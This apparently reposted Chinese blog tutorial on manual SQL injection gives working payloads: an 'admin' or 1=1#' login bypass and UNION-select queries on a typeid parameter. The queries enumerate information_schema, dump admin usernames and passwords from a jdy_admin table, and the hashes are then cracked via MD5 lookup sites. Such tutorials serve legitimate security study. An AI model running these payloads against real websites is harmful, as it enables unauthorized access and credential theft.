SQL注入(一)

2022-08-31 23:12:30 字數 3042 閱讀 8553

萬能密碼:自己寫的**,找到登入視窗(必須和資料庫互動)往裡插入構造的惡意**,最後可以直接登入進去,不需要登入密碼,輸入的惡意**成為萬能密碼

使用者名稱的地方沒有處理,密碼輸入1:admin' or 1=1#

注釋符號:# -- %25  %2d%2d  --+

select *  from 'user'  where  user = 'admin' or 1=1#' and password ='  ';

再輸入2:admin' and 1=1#

出現萬能密碼的原因:

後端**在執行的過程將使用者輸入的資料也當做**來執行,違背乙個原則:**和資料相分離(本質問題)

前端的傳遞的資料可以隨意控制,引數可控;後端對前端傳遞過來的資料沒有過濾或者過濾不謹慎,最終導致sql注入(原因)

分類:請求方式:get  post cookie

引數形式:整形  字元型  搜尋

資料庫型別:access  mssql  mysql  oracle  nosql等等

利用技術:布林 報錯  內聯 堆疊 時間 聯合

手工注入中常用資料函式以及常量

@@tmpdir

@@datadir

@@basedir

@@version

@@hostname

ascii()

user()

version()

database()

concat()

group_concat()

concat()

substr()/substring()/mid()

substr():oracle,mysql,mssql      substring():mysql,mssql      mid():mysql注意:均有三個引數,第乙個是被擷取的字元,第二個是開始索引,第三個是擷取的長度

left(pa1,pa2)pa1是被擷取的字串,從左邊開始擷取,pa2是擷取的長度

right(pa1,pa2)pa1是被擷取的字串,從右邊開始擷取,pa2是擷取的長度

sleep()讓資料庫休眠的

ord()顯示字元的ascll

if(條件,條件為真時的返回值或者語句,條件為假的返回值或者語句)

eg:if(1=1,true,false)

case when 條件then條件為真時的返回值或者語句else條件為假時的返回值或者語句end

eg:select 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+

聯合查詢:select * from where user_id = 0.1 union select 1,2,user(),4,5,database(),7,

mysql資料庫中:一庫一表三字段

mysql>5.0

information_schema --mysql>5.0之後自帶的,系統庫,彙總(其他資料庫的庫名、表名、欄位名)

columns --儲存資料(庫名、表名、欄位名),需要關注該錶下的三個字段

table_schema  --儲存其他資料庫名的庫名

table_name  字段儲存其他資料庫的表名

column_name --儲存其他資料庫的欄位名

select table_schema,table_name,column_name from information_schema.columns;

select table_schema,table_name,column_name from information_schema.columns where;

手工注入的步驟:

step1:檢測注入點(可能存在sql注入的地方),找到類似id(id/uid/typeid/sid~~~key)的引數,後面需要輸入一些檢測的惡意**(payload):

,'and 1=1#

select * from users where id =

輸入的惡意payload被成功執行(頁面顯示效果以及報錯資訊等),說明此處有sql注入點

接下來還要判斷注入的方式:主要根據頁面的回顯效果來決定使用哪種注入技術,判斷從後台資料庫中選擇的列數以及那幾列在前端顯示?

?typeid=1 order by 6%23

跟換數字,根據頁面的顯示效果判斷後台資料庫選擇的列數,5列

union select 1,2,3,4,5%23

返回顯示2所在位置有輸出:

?typeid=-1 union select 1,user(),3,4,5%23

可以根據頁面顯示效果可知在2的位置顯示到前端

step2:收集資料資訊

?typeid=-1 union select 1,database(),3,4,5%23

group_concat(distinct table_schema)

?typeid=-1 union select 1,(select distinct table_schema from information_schema.columns;),3,4,5%23

step3:獲取當前資料庫下的表名

select table_name from information_schema.columns where table_schema =database();

step4:獲取當前資料庫指定表下的欄位名

select group_connect(distinct column_name) from information_schema.columns where table_schema=database() and table_name = 表名(一般需要找後台或敏感的資料表)(需要對錶名進行16位轉碼)

addtime,id,password,qx,username

step5:獲取字段資料

select concat(username,0x7e,password) from  jdy_admin limit0,1;

step6:解密:pmd5、cmd5、chamd5、somd5中解密

找後台登入:(猜,漏洞掃瞄,資訊收集)

SQL注入(一)

5 小知識補充 6 基於函式報錯的資訊獲取 7 基於insert update注入 8 盲注 9 通過sql漏洞寫入惡意 10 暴力猜測 11 防範 12 sqlmap經典用法 在owasp發布的top 10中,注入漏洞一直都是危害排名第一 注入點探測 資訊獲取 通過注入點獲取期望得到的資料 獲取許...

SQL注入教程 (一)SQL注入原理

本系列文章將從sql注入基礎講解,面向初學者,循序漸進。如有不足,敬請指正。了解sql語言 語法 操作 常用函式 基本的sql資料庫操作是進行sql注入攻擊的基礎 了解php語言,以及php sql的常用組合操作 了解 架構 不同資料庫的差異 了解burp suite sqlmap等工具 了解htt...

SQL注入(一)之union注入

在sql注入的前期,第一件事情就是找到sql注入點,在找到注入點後開始下面的內容 a.判斷注入點 and1 1 返回true,顯示正常 and1 2 返回false,顯示錯誤 b.猜多少列order by 數值 c.聯合查詢猜表名union select1,2,3,7from users 猜表名並記...